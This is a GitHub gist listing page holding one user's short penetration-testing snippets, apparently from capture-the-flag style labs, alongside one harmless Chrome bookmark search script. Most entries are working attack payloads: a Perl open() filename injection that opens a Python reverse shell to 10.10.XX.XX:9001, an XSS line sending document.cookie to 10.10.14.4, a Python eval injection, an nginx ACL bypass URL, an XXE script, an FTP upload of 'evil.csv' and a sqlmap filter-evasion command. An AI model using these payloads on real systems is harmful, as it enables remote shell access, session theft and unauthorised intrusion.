Skip to content

Instantly share code, notes, and snippets.

View shollingsworth's full-sized avatar

Steven Hollingsworth shollingsworth

View GitHub Profile
@shollingsworth
shollingsworth / ftp_log_injection.sh
Created February 9, 2022 17:27
ftp log injection
#!/usr/bin/env bash
set -euo pipefail
IFS=$'\n\t'
path="user.php"
path="/etc/vsftpd/vsftpd.conf"
path="/var/log/vsftpd.log"
R=hostname.com
MYHOST=127.0.0.1
@shollingsworth
shollingsworth / curl_ftp_upload.sh
Created February 9, 2022 17:29
curl ftp upload
#!/usr/bin/env bash
set -euo pipefail
IFS=$'\n\t'
fn="evil.csv"
curl \
--user "pwnuser:sekret" \
--insecure "ftp://${R}/dir/${fn}" \
-T "${fn}"
@shollingsworth
shollingsworth / chrome_bookmark_fzf_search.py
Last active March 30, 2022 15:42
script to use fzf to quickly open / search for chrome bookmarks
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import os
import datetime
import json
from collections import deque
from dataclasses import dataclass
from pathlib import Path
from typing import Optional
import subprocess
@shollingsworth
shollingsworth / perl_open_vuln.pl
Created February 10, 2022 01:40
perl open vuln
# https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890543
touch "|python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.XX.XX\",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")';echo .csv"
# vulnerable open command
# my $fname = "${csv_dir}/${type}.csv";
# open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n";
@shollingsworth
shollingsworth / nginx_acl_bypass.sh
Created February 10, 2022 01:41
nginx acl bypass
# blocked
http://10.10.10.249/admin/
# bypassed
http://10.10.10.249/admin../admin_staging/index.php?page=user.php
# dirsearch example
dirsearch -u http://10.10.10.249/admin..
@shollingsworth
shollingsworth / ps_show_all.sh
Created February 10, 2022 01:44
ps show all
ps auxfww
@shollingsworth
shollingsworth / python3_xxe.py
Created February 10, 2022 01:47
python3 xxe script
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""XXE attack."""
from base64 import b64decode, b64encode
from urllib import parse
import bs4
import requests
# For post requests
@shollingsworth
shollingsworth / XXS_example.txt
Created February 10, 2022 01:48
XXS example
<script>new Image().src="http://10.10.14.4/bogus.php?output="+document.cookie;</script>
@shollingsworth
shollingsworth / python_eval_execution.py
Created February 10, 2022 01:49
python code injection technique eval execution
# example with number prefix
4+__import__('os').system('id')
@shollingsworth
shollingsworth / sqlmap_eval_parameter.sh
Created February 10, 2022 01:49
sqlmap eval parameter
sqlmap -r ./request2 --eval="category=''.join([hex(ord(i)).replace('0x', r'\\u00') for i in category])" --batch --skip-urlencode